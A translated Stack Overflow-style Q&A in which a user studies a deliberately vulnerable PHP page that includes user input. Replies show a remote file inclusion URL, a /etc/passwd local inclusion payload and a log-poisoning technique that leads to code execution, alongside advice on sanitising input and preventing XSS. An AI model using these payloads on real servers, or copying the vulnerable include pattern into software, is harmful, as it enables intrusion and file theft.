Защита эксплойтов

Я настроил песочницу и пытаюсь запустить эксплойты, чтобы лучше понять, как лучше защититься от них. Когда я запускаю следующее, процесс завершается сбоем, как и должно быть, и по правильной причине. Но тогда я не уверен, потому что я не могу найти много «как написать правильный эксплойт». Вот мой код и следующее сообщение об ошибке. Любое руководство было бы здорово.

 //unform.php (unprotected form)
 <html>
 <head>
 <title>Try An Exploit</title>
 <?php
 if (!empty($_GET)){
    foreach($_GET as $key=>$value){
    ${$key} = $value;
    }
}

 //no sanitizer here.
 echo $key;
 include($value);
 ?>
 </head>
 <body>
 <h1>This Is Bad</h1>

 <form action="#" method="get">
<select name="COLOR">
       <option value="red">red</option>
       <option value="blue">blue</option>
    </select>
<input type="submit" value="Kick Me" />
 </form>
 </body>

Скрипт эксплойта, простые вещи:

 exploit.php
 <?php
   $somevar = "This is just a string";
   echo $somevar;
 ?>

Плохой парень будет жестко кодировать в адресной строке своего браузера следующее:

 http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php

Вывод в браузер при попытке загрузить адрес:

 Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0

Так это все? Или есть другая техника, на которую мне следует обратить внимание?
Спасибо.


person rwhite    schedule 28.09.2012    source источник
comment
Что ты пытаешься сделать? Если вы хотите написать сценарий с дырами в безопасности, это очень легко сделать, даже если вы не пытаетесь это сделать активно. Если ваш вопрос заключается в том, есть ли другие эксплойты в PHP, то вопрос слишком широк.   -  person NullUserException    schedule 29.09.2012
comment
Есть только одна техника. Проверяйте ВСЕ входные данные, не доверяйте никаким переменным, потому что вы никогда не знаете, откуда будет исходить атака.   -  person Tchoupi    schedule 29.09.2012
comment
Хорошо, но это все, что мне нужно искать? Предотвратил ли я 50% эксплойтов? Какие еще (если есть)?   -  person rwhite    schedule 29.09.2012
comment
Правильно, не имея опыта взлома сервера, я ищу самые распространенные эксплойты и как их отключить. Дезинфицирующие средства — это один подход, запрет включения HTTP — другой, это большинство методов?   -  person rwhite    schedule 29.09.2012
comment
http://www.sandbox.com/path/to/unform.php?COLOR=/etc/passwd ... этот должен работать нормально (если только у вас не установлено ограничение open_basedir).   -  person newfurniturey    schedule 29.09.2012
comment
Если вы include что-либо исходите от пользователя (читай: от потенциального злоумышленника), особенно без надлежащей очистки, вам не следует заниматься программированием. Наиболее распространенными эксплойтами на веб-сайтах являются XSS, Внедрение SQL и CSRF.   -  person NullUserException    schedule 29.09.2012
comment
Это довольно широкий вопрос — о безопасности веб-приложений написаны целые книги. Вы можете получить более подробные ответы на странице Security или в таких книгах, как The Tangled Web Михала Залевски.   -  person DCoder    schedule 29.09.2012
comment
Спасибо, согласен, но я пытаюсь писать и эксплуатировать, чтобы лучше понять, что происходит под капотом. Я проверю XSS.   -  person rwhite    schedule 29.09.2012


Ответы (1)


Похоже, что рассматриваемый эксплойт — это выполнение произвольного скрипта. Скрипт не уязвим для произвольного выполнения удаленных скриптов из-за некоторых настроек php.ini, но он уязвим для произвольного выполнения локальных скриптов.

Произвольное выполнение удаленных сценариев

По умолчанию директива allow_url_include php.ini имеет значение 0, что не позволяет включать удаленные файлы, например:

include("http://www.remoteserv.com/exploit.php");

... или примерно так:

$myVar = "http://www.remoteserv.com/exploit.php";
include($myVar);

См. раздел Конфигурации среды выполнения — параметры конфигурации файловой системы и потоков и Использование удаленных сценариев на php.net для получения дополнительной информации.

Технически вы по-прежнему уязвимы для атак, поскольку пользователь может вводить данные, которые приводят к ошибке — на самом деле вы должны дезинфицировать эти данные, — но вы не уязвимы для произвольного выполнения удаленных сценариев.

Произвольное выполнение локальных скриптов

Но директивы php.ini не защищают вас от выполнения локального скрипта. Злоумышленник может использовать такой URL-адрес, как...

http://www.sandbox.com/path/to/unform.php?wtv=/tmp/SomeFile.php

... и этот файл будет включен. Это может быть файл, отличный от PHP (что приводит к ошибке), или это может быть файл, который злоумышленник поместил на ваш сервер - либо посредством загрузки файла, либо с помощью Общая среда хостинга.

Для дальнейшего чтения глава 5 книги Essential PHP Security полностью посвящена безопасности включить.

Другой

Вы также уязвимы для XSS:

echo $key;

При выводе $key, который является вводом, вы должны каким-то образом закодировать вывод, возможно, используя htmlentities(...)< /а>.

Вы также манипулируете переменными, используя ввод:

${$key} = $value;

... это плохая идея.

person Richard JP Le Guen    schedule 28.09.2012
comment
Спасибо за ответ, XSS выглядит как следующая остановка. - person rwhite; 29.09.2012
comment
Ваш ответ ориентирован только на Remote-File-Inclusion; по-прежнему существует уязвимость Local-File-Inclusion. Локальные файлы можно считывать и выводить с помощью include(); Чтобы выполнить произвольный код, злоумышленник может посетить http://site.com/<?php exec('...');, а затем вызвать ?COLOR=/path/to/error_log, и PHP будет выполнен. Уязвимости включения локальных файлов могут быть гораздо опаснее, чем XSS, и их нельзя игнорировать =P - person newfurniturey; 29.09.2012
comment
@newfurniturey - это отличный момент. Должен ли я отредактировать свой ответ на этот счет, или вы предпочитаете опубликовать его как отдельный ответ? - person Richard JP Le Guen; 29.09.2012
comment
Потрясающие. это то, на что я надеялся, путь обучения, чтобы я мог набрать скорость. Я возьму книгу, но сначала хотел получить вид на 10000 футов. Спасибо всем. - person rwhite; 29.09.2012
comment
@RichardJPLeGuen Нет проблем с ответом; Один пост для освещения всех тем будет лучше, чем несколько постов по каждой =] - person newfurniturey; 29.09.2012